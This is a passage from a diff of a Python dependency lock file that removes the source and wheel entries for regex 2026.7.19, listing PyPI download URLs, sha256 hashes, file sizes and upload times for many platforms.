-sdist = { url = "https://files.pythonhosted.org/packages/20/98/04b13f1ddfb63158025291c02e03eb42fbb7acb51d091d541050eb4e35e8/regex-2026.7.19.tar.gz", hash = "sha256:7e77b324909c1617cbb4c668677e2c6ae13f44d7c1de0d4f15f2e3c10f3315b5", size = 416440, upload-time = "2026-07-19T00:19:48.923Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/24/13/bbf7d9d1887fe4a3693527c6caa232c197ea9da91f1212e9672eff60329d/regex-2026.7.19-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:555497390743af1a65045fa4527782d10ff5b88970359412baa4a1e628fe393b", size = 494009, upload-time = "2026-07-19T00:16:13.602Z" }, - { url = "https://files.pythonhosted.org/packages/a3/19/783688e75a2bec15d50aec0d5e7e317d363808bc82a6eb6750b897bfcd7b/regex-2026.7.19-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:343a4504e3fb688c47cad451221ca5d4814f42b1e16c0065bde9cbf7f473bd52", size = 295287, upload-time = "2026-07-19T00:16:15.702Z" }, - { url = "https://files.pythonhosted.org/packages/16/01/cefe4f051302ca298d3f3e79ed6dbd933ac84485b9515acdd6a52d70cef7/regex-2026.7.19-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5ebee1ee89c39c953baac6924fcde08c5bb427c4057510862f9d7c7bdb3d8665", size = 290633, upload-time = "2026-07-19T00:16:17.182Z" }, - { url = "https://files.pythonhosted.org/packages/ae/1e/1045ca2cabb12e8ec41ad0d138e9f3ff1eb079d30a6f51ccf7d709b44aad/regex-2026.7.19-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:062f8cb7a9739c4835d22bd96f370c59aba89f257adcfa53be3cc209e08d3ae0", size = 785300, upload-time = "2026-07-19T00:16:18.505Z" }, - { url = "https://files.pythonhosted.org/packages/d5/4a/20e5bca184e90bf1bd187efdb53363f4a7b7b34f01d54ced5740caf104bd/regex-2026.7.19-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1123ef4211d763ee771d47916a1596e2f4915794f7aabdc1adcb20e4249a6951", size = 854079, upload-time = "2026-07-19T00:16:19.909Z" }, - { url = "https://files.pythonhosted.org/packages/09/9b/5a2e59678be3b24aa6a42b2c6d66a48daa212593e9f4096fe7ba577fa9b1/regex-2026.7.19-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6e44c0e7c5664be20aee92085153150c0a7967310a73a43c0f832b7cd35d0dd3", size = 899496, upload-time = "2026-07-19T00:16:21.453Z" }, - { url = "https://files.pythonhosted.org/packages/48/9a/7317f14ed8ed9fd998d1978b4802b07bc4d79216353c435dbcc1ddd1301f/regex-2026.7.19-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98c6ac18480fcdb33f35439183f1d2e79760ab41930309c6d951cb1f8e46694c", size = 793541, upload-time = "2026-07-19T00:16:22.991Z" }, - { url = "https://files.pythonhosted.org/packages/6f/53/833c2db3e274d3c191f4c42fe5bfa358e4c8b617d5d7312d31334965fc46/regex-2026.7.19-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4458124d71339f505bf1fb94f69fd1bb8fa9d2481eebfef27c10ef4f2b9e12f6", size = 785515, upload-time = "2026-07-19T00:16:24.654Z" }, - { url = "https://files.pythonhosted.org/packages/8d/b9/efb2f9fa151d71db09d4015e1fb92fee47416f01c12164836bbd23e2f3c2/regex-2026.7.19-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fbf300e2070bb35038660b3be1be4b91b0024edb41517e6996320b49b92b4175", size = 769556, upload-time = "2026-07-19T00:16:26.207Z" }, - { url = "https://files.pythonhosted.org/packages/81/4d/45610c263f8eadb84e4a1fabd904d81d5176226faa9104ef498bf8a8b285/regex-2026.7.19-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b2b506b1788df5fecd270a10d5e70a95fe77b87ea2b370a318043f6f5f817ee6", size = 774130, upload-time = "2026-07-19T00:16:27.786Z" }, - { url = "https://files.pythonhosted.org/packages/40/95/1b40d87c7a9e5480bec7a87bce9fd67fc3f14b5f106c8ee66d660249072f/regex-2026.7.19-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:52579c60a6078be70a0e49c81d6e56d677f34cd439af281a0083b8c7bc75c095", size = 848694, upload-time = "2026-07-19T00:16:29.412Z" }, - { url = "https://files.pythonhosted.org/packages/17/8b/bb45968addd5b394ef9cd9184bd9c65ade1a819dbb2b92b71ad52a0c7907/regex-2026.7.19-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:2955907b7157a6660f27079edf7e0229e9c9c5325c77a2ef6a890cba91efa6f0", size = 758505, upload-time = "2026-07-19T00:16:31.006Z" }, - { url = "https://files.pythonhosted.org/packages/bf/6f/33386c672fbf43e21602135a0f29a97ee251a483f007fe51d10e9b2dbc93/regex-2026.7.19-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:89dfee3319f5ae3f75ebd5c2445a809bb320252ba5529ffdafea4ef25d79cf1a", size = 836985, upload-time = "2026-07-19T00:16:32.459Z" }, - { url = "https://files.pythonhosted.org/packages/22/f1/9112b86e9bb075619862e8e42b604794389f1958faa68fb69bde505dd90e/regex-2026.7.19-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d3143f159261b1ce5b24c261c590e5913370c3200c5e9ebbb92b5aa5e111902", size = 782610, upload-time = "2026-07-19T00:16:33.857Z" }, - { url = "https://files.pythonhosted.org/packages/3a/f9/13d460d8a385ca0b0be9e6be80a90968b9293b3e30895543ad2d1d1653e4/regex-2026.7.19-cp310-cp310-win32.whl", hash = "sha256:64729333167c2dcaaa56a331d40ee097bd9c5617ffd51dabb09eaddafb1b532e", size = 266772, upload-time = "2026-07-19T00:16:35.194Z" }, - { url = "https://files.pythonhosted.org/packages/9f/90/29addd7a03e1aea402c1f31467e25c80caabc8c3735b88a23cf73b0aa9c2/regex-2026.7.19-cp310-cp310-win_amd64.whl", hash = "sha256:1c398716054621aa300b3d411f467dda903806c5da0df6945ab73982b8d115db", size = 277967, upload-time = "2026-07-19T00:16:36.847Z" }, - { url = "https://files.pythonhosted.org/packages/8c/ba/ecfce06fe66c122bc6f77ae284887a9282e4411fe1e6268c5266611ca054/regex-2026.7.19-cp310-cp310-win_arm64.whl", hash = "sha256:064f1760a5a4ade65c5419be23e782f29147528e8a66e0c42dd4cedb8d4e9fc6", size = 276963, upload-time = "2026-07-19T00:16:38.315Z" }, - { url = "https://files.pythonhosted.org/packages/05/e5/cef4de2bac939280b68d32adc659478845238a8274f2f79c465063f590ad/regex-2026.7.19-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ac777001cdfc28b72477d93c8564bb7583081ea8fb45cdca3d568e0a4f87183c", size = 494012, upload-time = "2026-07-19T00:16:39.927Z" }, - { url = "https://files.pythonhosted.org/packages/ff/87/e86f51eb117457bb7803132ffe5cb6e2841e2b5bea4cc85d397f3c6e257d/regex-2026.7.19-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:59787bd5f8c70aa339084e961d2996b53fbdeab4d5393bba5c1fe1fc32e02bae", size = 295281, upload-time = "2026-07-19T00:16:41.433Z" }, - { url = "https://files.pythonhosted.org/packages/41/2e/2360c41d8080a3d9ec7e5c90fad6eab3b50192869d10e9a5609e48c8177b/regex-2026.7.19-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:90c633e7e8d6bf4e992b8b36ce69e018f834b641dd6de8cea6d78c06ffa119c5", size = 290615, upload-time = "2026-07-19T00:16:43.058Z" }, - { url = "https://files.pythonhosted.org/packages/cf/69/b65ba4344efbc771b28fe5dde84cbbb6c8f9551165952fe78def5b9dde6a/regex-2026.7.19-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:87ccab0db8d5f4fbb0272642113c1adb2ffc698c16d3a0944580222331fa7a20", size = 791804, upload-time = "2026-07-19T00:16:44.662Z" }, - { url = "https://files.pythonhosted.org/packages/81/b6/a40dfa0dc6224b36f620c00296eacc830489cbf8c2837b6750dfe6170375/regex-2026.7.19-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9e50d748a32da622f256e8d505867f5d3c43a837c6a9f0efb149655fadd1042a", size = 861723, upload-time = "2026-07-19T00:16:46.412Z" }, - { url = "https://files.pythonhosted.org/packages/e3/02/735991dee71abd83196a7962f7ed8bf5aa05720ff06e2d3ff896a85e2bbb/regex-2026.7.19-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bf1516fe58fc104f39b2d1dbe2d5e27d0cd45c4be2e42ba6ee0cc763701ec3c7", size = 905932, upload-time = "2026-07-19T00:16:47.956Z" }, - { url = "https://files.pythonhosted.org/packages/45/6c/e7098d8b846ccdbf431d8c081b61e496526a27a28094ed09e0dce21b3f54/regex-2026.7.19-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:09f3e5287f94f17b709dc9a9e70865855feee835c861613be144218ce4ca82cc", size = 801407, upload-time = "2026-07-19T00:16:49.43Z" }, - { url = "https://files.pythonhosted.org/packages/8a/18/34b69274e2649bcc7d9b089c2b2983fb2632d8ecf667e359593be9072e79/regex-2026.7.19-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6383cd2ed53a646c659ba1fe65727db76437fdaa069e697a0b44a51d5843d864", size = 774448, upload-time = "2026-07-19T00:16:51.352Z" }, - { url = "https://files.pythonhosted.org/packages/bb/e6/0a72247d025585fd3800b98e040b84d562a88af6303347100484849f4f01/regex-2026.7.19-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:09d3007fc76249a83cdd33de160d50e6cb77f54e09d8fa9e7148e10607ce24af", size = 783297, upload-time = "2026-07-19T00:16:53.071Z" }, - { url = "https://files.pythonhosted.org/packages/b1/aa/c4f65ae7dd02a36b323a70c4cff326e1f3442361aaebc9311100a130d54f/regex-2026.7.19-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:6f8c6e7a1cfa3dc9d0ee2de0e65e834537fa29992cc3976ffec914afc35c5dd5", size = 854736, upload-time = "2026-07-19T00:16:54.607Z" }, - { url = "https://files.pythonhosted.org/packages/62/c3/668082bcc817b9e694189b84997aeba7385b7779faa6711788679c482e35/regex-2026.7.19-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:b2ea4a3e8357be8849e833beeae757ac3c7a6b3fc055c03c808a53c91ad30d82", size = 763298, upload-time = "2026-07-19T00:16:56.289Z" }, - { url = "https://files.pythonhosted.org/packages/4b/fb/2d07ad555e7af88aa5f867fdafa47a8d945ee237c20af3ebceb46a820835/regex-2026.7.19-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:80115dd39481fd3a4b4080220799dbcacb921a844de4b827264ececacbe17c78", size = 844430, upload-time = "2026-07-19T00:16:57.933Z" }, - { url = "https://files.pythonhosted.org/packages/51/15/c82a471fe3dce56f03745635b43aa456c40dc0db089e07ef148b331507d1/regex-2026.7.19-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d6ce43a0269d68cee79a7d1ade7def53c20f8f2a047b92d7b5d5bcc73ae88327", size = 789683, upload-time = "2026-07-19T00:16:59.583Z" }, - { url = "https://files.pythonhosted.org/packages/b5/f4/7532a2c59d56f5398902c20de60f0c9a5d1cd364e42a051b48e1b210be7b/regex-2026.7.19-cp311-cp311-win32.whl", hash = "sha256:9be2a6647740dd3cca6acb24e87f03d7632cd280dbce9bbe40c26353a215a45d", size = 266778, upload-time = "2026-07-19T00:17:01.032Z" }, - { url = "https://files.pythonhosted.org/packages/83/2b/cf1bc631db154eb95520d9d5dbc2371ff77a0f014bbf7d748fed8496aa63/regex-2026.7.19-cp311-cp311-win_amd64.whl", hash = "sha256:8d3469c91dd92ee41b7c95280edbd975ef1ba9195086686623a1c6e8935ce965", size = 277983, upload-time = "2026-07-19T00:17:02.571Z" }, - { url = "https://files.pythonhosted.org/packages/8d/bd/56ceaf170e875d5a6761bf2bfd0d040f1cacc896850d5e40cb29b11bbd06/regex-2026.7.19-cp311-cp311-win_arm64.whl", hash = "sha256:36aacfb15faaff3ced55afbf35ec72f50d4aee22082c4f7fe0573a33e2fca92e", size = 276961, upload-time = "2026-07-19T00:17:04.135Z" }, - { url = "https://files.pythonhosted.org/packages/3b/b9/d11d7e501ac8fd7d617684423ebb9561e0b998481c1e4cbc0cb212c5d74a/regex-2026.7.19-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2cc3460cedf7579948486eab03bc9ad7089df4d7281c0f47f4afe03e8d13f02d", size = 496778, upload-time = "2026-07-19T00:17:05.677Z" }, - { url = "https://files.pythonhosted.org/packages/3f/a9/a5ab6f312f24318019170dc485d5421fe4f89e43a98640da50d95a8a7041/regex-2026.7.19-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:0e9554c8785eac5cffe6300f69a91f58ba72bc88a5f8d661235ad7c6aa5b8ccd", size = 297122, upload-time = "2026-07-19T00:17:07.59Z" }, - { url = "https://files.pythonhosted.org/packages/b3/63/4cab4d7f2d384a144d420b763d97674cb70619c878ea6fcd7640d0e62143/regex-2026.7.19-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d7da47a0f248977f08e2cb659ff3c17ddc13a4d39b3a7baa0a81bf5b415430f6", size = 292009, upload-time = "2026-07-19T00:17:09.648Z" }, - { url = "https://files.pythonhosted.org/packages/22/85/102a81b218298957d4ea7d2f084fae537a71add9d6ff93c8e67284c5f45e/regex-2026.7.19-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93db40c8de0815baab96a06e08a984bac71f989d13bab789e382158c5d426797", size = 796708, upload-time = "2026-07-19T00:17:11.542Z" }, - { url = "https://files.pythonhosted.org/packages/78/b5/dc136af5629938a037cd2b304c12240e132ec92f38be8ff9cc89af2a1f2d/regex-2026.7.19-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:66bd62c59a5427746e8c44becae1d9b99d22fb13f30f492083dfb9ad7c45cc18", size = 865651, upload-time = "2026-07-19T00:17:13.312Z" }, - { url = "https://files.pythonhosted.org/packages/e0/75/67402ae3cd9c8c988a4c805d15ee3eef015e7ca4cb112cf3e640fc1f4153/regex-2026.7.19-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1649eb39fcc9ea80c4d2f110fde2b8ab2aef3877b98f02ab9b14e961f418c511", size = 911756, upload-time = "2026-07-19T00:17:15.015Z" }, - { url = "https://files.pythonhosted.org/packages/2a/8e/096d00c7c480ef2ff4265349b14e2261d4ab787ba1f74e2e80d1c58079c3/regex-2026.7.19-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9dce8ec9695f531a1b8a6f314fd4b393adcccf2ea861db480cdf97a301d01a68", size = 801798, upload-time = "2026-07-19T00:17:17.208Z" }, - { url = "https://files.pythonhosted.org/packages/f0/41/e7ecac6edb5722417f85cc67eaf386322fbe8acf6918ec2fdc37c20dd9d0/regex-2026.7.19-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3080a7fd38ef049bd489e01c970c97dd84ff446a885b0f1f6b26d9b1ad13ce11", size = 776933, upload-time = "2026-07-19T00:17:19.347Z" }, - { url = "https://files.pythonhosted.org/packages/6f/69/03c9b3f058d66403e0ca2c938696e81d51cd4c6d47ec5265f02f96948d9a/regex-2026.7.19-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1d793a7988e04fcb1e2e135567443d82173225d657419ec09414a9b5a145b986", size = 784338, upload-time = "2026-07-19T00:17:21.057Z" }, - { url = "https://files.pythonhosted.org/packages/f6/f7/b38ab3d43f284afbb618fcd15d0e77eb786ae461ce1f6bc7494619ddc0f2/regex-2026.7.19-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:e8b0abe7d870f53ca5143895fef7d1041a0c831a140d3dc2c760dd7ba25d4a8b", size = 860452, upload-time = "2026-07-19T00:17:23.119Z" }, - { url = "https://files.pythonhosted.org/packages/15/5c/ff60ef0571121714f3cf9920bc183071e384a10b556d042e0fdb06cc07a5/regex-2026.7.19-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:4e5413bd5f13d3a4e3539ca98f70f75e7fca92518dd7f117f030ebedd10b60cb", size = 765958, upload-time = "2026-07-19T00:17:24.81Z" }, - { url = "https://files.pythonhosted.org/packages/aa/0f/bd34021162c0ab47f9a315bd56cd5642e920c8e5668a75ef6c6a6fca590d/regex-2026.7.19-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:73b133a9e6fb512858e7f065e96f1180aa46646bc74a83aea62f1d314f3dd035", size = 851765, upload-time = "2026-07-19T00:17:26.993Z" }, - { url = "https://files.pythonhosted.org/packages/2a/20/a2ca43edade0595cccfdc98636739f536d9e26898e7dbddc2b9e98898953/regex-2026.7.19-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:dbe6493fbd27321b1d1f2dd4f5c7e5bd4d8b1d7cab7f32fd67db3d0b2ed8248a", size = 789714, upload-time = "2026-07-19T00:17:28.699Z" }, - { url = "https://files.pythonhosted.org/packages/5d/47/e02db4015d424fc83c00ea0ac8c5e5ec14397943de9abf909d5ce3a25931/regex-2026.7.19-cp312-cp312-win32.whl", hash = "sha256:ddd67571c10869f65a5d7dde536d1e066e306cc90de57d7de4d5f34802428bb5", size = 267157, upload-time = "2026-07-19T00:17:31.051Z" }, - { url = "https://files.pythonhosted.org/packages/08/8e/c780c131f79b42ed22d1bd7da4096c2c35f813e835acd02ef0f018bd892c/regex-2026.7.19-cp312-cp312-win_amd64.whl", hash = "sha256:e30d40268a28d54ce0437031750497004c22602b8e3ab891f759b795a003b312", size = 277777, upload-time = "2026-07-19T00:17:32.848Z" }, - { url = "https://files.pythonhosted.org/packages/3e/4c/e4d7e086449bdf379d89774bf1f89dc4a41943f3c5a6125a03905b34b5fb/regex-2026.7.19-cp312-cp312-win_arm64.whl", hash = "sha256:de9208bb427130c82a5dbfd104f92c8876fc9559278c880b3002755bbbe9c83d", size = 277136, upload-time = "2026-07-19T00:17:34.803Z" }, - { url = "https://files.pythonhosted.org/packages/5d/3d/84165e4299ff76f3a40fe1f2abf939e976f693383a08d2beea6af62bd2c1/regex-2026.7.19-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f035d9dc1d25eff9d361456572231c7d27b5ccd473ca7dc0adfce732bd006d40", size = 496552, upload-time = "2026-07-19T00:17:36.808Z" }, - { url = "https://files.pythonhosted.org/packages/02/a2/a65293e6e4cf28eb7ee1be5335a5386c40d6742e9f47fafc8fec785e16c7/regex-2026.7.19-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c42572142ed0b9d5d261ba727157c426510da78e20828b66bbb855098b8a4e38", size = 296983, upload-time = "2026-07-19T00:17:38.816Z" }, - { url = "https://files.pythonhosted.org/packages/95/47/2d0564e93d87bc48618360ddca232a2ca612bbdf53ce8465d45ca5ce14ee/regex-2026.7.19-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:40b34dd88658e4fedd2fddbf0275ac970d00614b731357f425722a3ed1983d11", size = 291832, upload-time = "2026-07-19T00:17:40.726Z" }, - { url = "https://files.pythonhosted.org/packages/07/cd/42dfbabff3dfc9603c501c0e2e2c5adbb09d127b267bf5348de0af338c15/regex-2026.7.19-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0c41c63992bf1874cebb6e7f56fd7d3c007924659a604ae3d90e427d40d4fd13", size = 796775, upload-time = "2026-07-19T00:17:42.382Z" }, - { url = "https://files.pythonhosted.org/packages/df/5d/f6a4839f2b934e3eed5973fd07f5929ee97d4c98939fb275ea23c274ee16/regex-2026.7.19-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1d3372064506b94dd2c67c845f2db8062e9e9ba84d04e33cb96d7d33c11fe1ae", size = 865687, upload-time = "2026-07-19T00:17:44.185Z" }, - { url = "https://files.pythonhosted.org/packages/14/b0/b47d6c36049bc59806a50bd4c86ced70bbe058d787f80281b1d7a9b0e024/regex-2026.7.19-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fce7760bf283405b2c7999cab3da4e72f7deca6396013115e3f7a955db9760da", size = 911962, upload-time = "2026-07-19T00:17:46.442Z" }, - { url = "https://files.pythonhosted.org/packages/2a/be/ff61f28f9273658cfe23acbbac5217221f6519960ed401e61dfdab12bc35/regex-2026.7.19-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c0d702548d89d572b2929879bc883bb7a4c4709efafe4512cadee56c55c9bd15", size = 801817, upload-time = "2026-07-19T00:17:48.25Z" }, - { url = "https://files.pythonhosted.org/packages/c3/bb/8b4f7f26b333f9f79e1b453613c39bb4776f51d38ae66dd0ba31d6b354ca/regex-2026.7.19-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d446c6ac40bb6e05025ccee55b84d80fe9bf8e93010ffc4bb9484f13d498835f", size = 776908, upload-time = "2026-07-19T00:17:50.183Z" }, - { url = "https://files.pythonhosted.org/packages/09/13/610110fc5921d380516d03c26b652555f08aa0d23ea78a771231873c3638/regex-2026.7.19-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4c3501bfa814ab07b5580741f9bf78dfdfe146a04057f82df9e2402d2a975939", size = 784426, upload-time = "2026-07-19T00:17:52.454Z" }, - { url = "https://files.pythonhosted.org/packages/ca/f5/1ef9e2a83a5947c57ebff0b377cb5727c3d5ec1992317a320d035cd0dbb6/regex-2026.7.19-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c4585c3e64b4f9e583b4d2683f18f5d5d872b3d71dcf24594b74ecc23602fa96", size = 860600, upload-time = "2026-07-19T00:17:54.229Z" }, - { url = "https://files.pythonhosted.org/packages/a0/02/073af33a3ec149241d11c80acea91e722aa0adbf05addd50f251c4fe89c3/regex-2026.7.19-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:571fde9741eb0ccde23dd4e0c1d50fbae910e901fa7e629faf39b2dda740d220", size = 765950, upload-time = "2026-07-19T00:17:56.041Z" }, - { url = "https://files.pythonhosted.org/packages/81/a9/d1e9f819dc394a568ef370cd56cf25394e957a2235f8370f23b576e5a475/regex-2026.7.19-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:15b364b9b98d6d2fe1a85034c23a3180ff913f46caddc3895f6fd65186255ccc", size = 851794, upload-time = "2026-07-19T00:17:57.897Z" }, - { url = "https://files.pythonhosted.org/packages/03/3a/8ae83eda7579feacdf984e71fb9e70635fb6f832eeddca58427ec4fca926/regex-2026.7.19-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ffd8893ccc1c2fce6e0d6ca402d716fe1b29db70c7132609a05955e31b2aa8f2", size = 789845, upload-time = "2026-07-19T00:17:59.97Z" }, - { url = "https://files.pythonhosted.org/packages/4b/23/c195cbfe5a75fdec64d8f6554fd15237b837919d2c61bdc141d7c807b08b/regex-2026.7.19-cp313-cp313-win32.whl", hash = "sha256:f0fa4fa9c3632d708742baf2282f2055c11d888a790362670a403cbf48a2c404", size = 267135, upload-time = "2026-07-19T00:18:01.958Z" }, - { url = "https://files.pythonhosted.org/packages/b2/80/a11de8404b7272b70acb45c1c05987cce60b45d5693da2e176f0e390d564/regex-2026.7.19-cp313-cp313-win_amd64.whl", hash = "sha256:d51ffd3427640fa2da6ade574ceba932f210ad095f65fcc450a2b0a0d454868e", size = 277747, upload-time = "2026-07-19T00:18:04.121Z" }, - { url = "https://files.pythonhosted.org/packages/d1/29/0f5c8eff1b4f1f3d83276d365fccecf666afcc7d947420943bf394d07adb/regex-2026.7.19-cp313-cp313-win_arm64.whl", hash = "sha256:c670fe7be5b6020b76bc6e8d2196074657e1327595bca93a389e1a76ab130ad8", size = 277129, upload-time = "2026-07-19T00:18:05.821Z" }, - { url = "https://files.pythonhosted.org/packages/dc/4c/44b74742052cedda40f9ae469532a037112f7311a36669a891fba8984bb0/regex-2026.7.19-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:db47b561c9afd884baa1f96f797c9ca369872c4b65912bc691cfa99e68340af2", size = 501134, upload-time = "2026-07-19T00:18:07.567Z" }, - { url = "https://files.pythonhosted.org/packages/f0/45/bbd038b5e39ee5613a5a689290145b40058cc152c41de9cc23639d2b9734/regex-2026.7.19-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:65dcd28d3eba2ab7c2fd906485cc301392b47cc2234790d27d4e4814e02cdfda", size = 299418, upload-time = "2026-07-19T00:18:09.38Z" }, - { url = "https://files.pythonhosted.org/packages/65/38/c5bde94b4cedfd5850d64c3f08222d8e1600e84f6ee71d9b44b4b8163f74/regex-2026.7.19-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:f2e7f8e2ab6c2922be02c7ec45185aa5bd771e2e57b95455ee343a44d8130dff", size = 294486, upload-time = "2026-07-19T00:18:11.188Z" }, - { url = "https://files.pythonhosted.org/packages/d7/6a/2f5e107cb26c960b781967178899daf2787a7ab151844ed3c01d6fc95474/regex-2026.7.19-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fe31f28c94402043161876a258a9c6f757cb485905c7614ce8d6cd40e6b7bdc1", size = 811643, upload-time = "2026-07-19T00:18:12.975Z" }, - { url = "https://files.pythonhosted.org/packages/37/d4/a2f963406d7d73a62eed84ba05a258afb6cad1b21aa4517443ce40506b78/regex-2026.7.19-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f8f6fa298bb4f7f58a33334406218ba74716e68feddf5e4e54cd5d8082705abf", size = 871081, upload-time = "2026-07-19T00:18:14.733Z" }, - { url = "https://files.pythonhosted.org/packages/45/a3/44be546340bedb15f13063f5e7fe16793ea4d9ea2e805d09bd174ac27724/regex-2026.7.19-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cc1b2440423a851fad781309dd87843868f4f66a6bcd1ddb9225cf4ec2c84732", size = 917372, upload-time = "2026-07-19T00:18:16.724Z" }, - { url = "https://files.pythonhosted.org/packages/f8/f6/e0870b0fd2a40dba0074e4b76e514b21313d37946c9248453e34ec43923e/regex-2026.7.19-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8ac59a0900474a52b7c04af8196affc22bd9842acb0950df12f7b813e983609a", size = 816089, upload-time = "2026-07-19T00:18:18.617Z" }, - { url = "https://files.pythonhosted.org/packages/ae/27/957e8e22690ad6634572b39b71f130a6105f4d0718bb16849eac00fff147/regex-2026.7.19-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4896db1f4ce0576765b8272aa922df324e0f5b9bb2c3d03044ff32a7234a9aba", size = 785206, upload-time = "2026-07-19T00:18:20.464Z" }, - { url = "https://files.pythonhosted.org/packages/76/a4/186e410941e731037c01166069ab86da9f65e8f8110c18009ccf4bd623ee/regex-2026.7.19-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4e6883a021db30511d9fb8cfb0f222ce1f2c369f7d4d8b0448f449a93ba0bdfc", size = 800431, upload-time = "2026-07-19T00:18:22.716Z" }, - { url = "https://files.pythonhosted.org/packages/73/9f/e4e10e023d291d64a33e246610b724493bf1ce98e0e59c9b7c837e5acfb7/regex-2026.7.19-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:09523a592938aa9f587fb74467c63ff0cf88fc3df14c82ab0f0517dcf76aaa62", size = 864906, upload-time = "2026-07-19T00:18:24.772Z" }, - { url = "https://files.pythonhosted.org/packages/24/57/ccb20b6be5f1f52a053d1ba2a8f7a077edb9d918248b8490d7506c6832b3/regex-2026.7.19-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:1ebac3474b8589fce2f9b225b650afd61448f7c73a5d0255a10cc6366471aed1", size = 773559, upload-time = "2026-07-19T00:18:27.008Z" }, - { url = "https://files.pythonhosted.org/packages/a3/82/f3b263cf8fad927dc102891da8502e718b7ff9d19af7a2a07c03865d7188/regex-2026.7.19-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:4a0530bb1b8c1c985e7e2122e2b4d3aedd8a3c21c6bfddae6767c4405668b56e", size = 857739, upload-time = "2026-07-19T00:18:29.107Z" }, - { url = "https://files.pythonhosted.org/packages/47/2e/1687bd1b6c2aed5e672ccf845fc11557821fe7366d921b50889ea5ce57bf/regex-2026.7.19-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2ef7eeb108c47ce7bcc9513e51bcb1bf57e8f483d52fce68a8642e3527141ae0", size = 804522, upload-time = "2026-07-19T00:18:31.362Z" }, - { url = 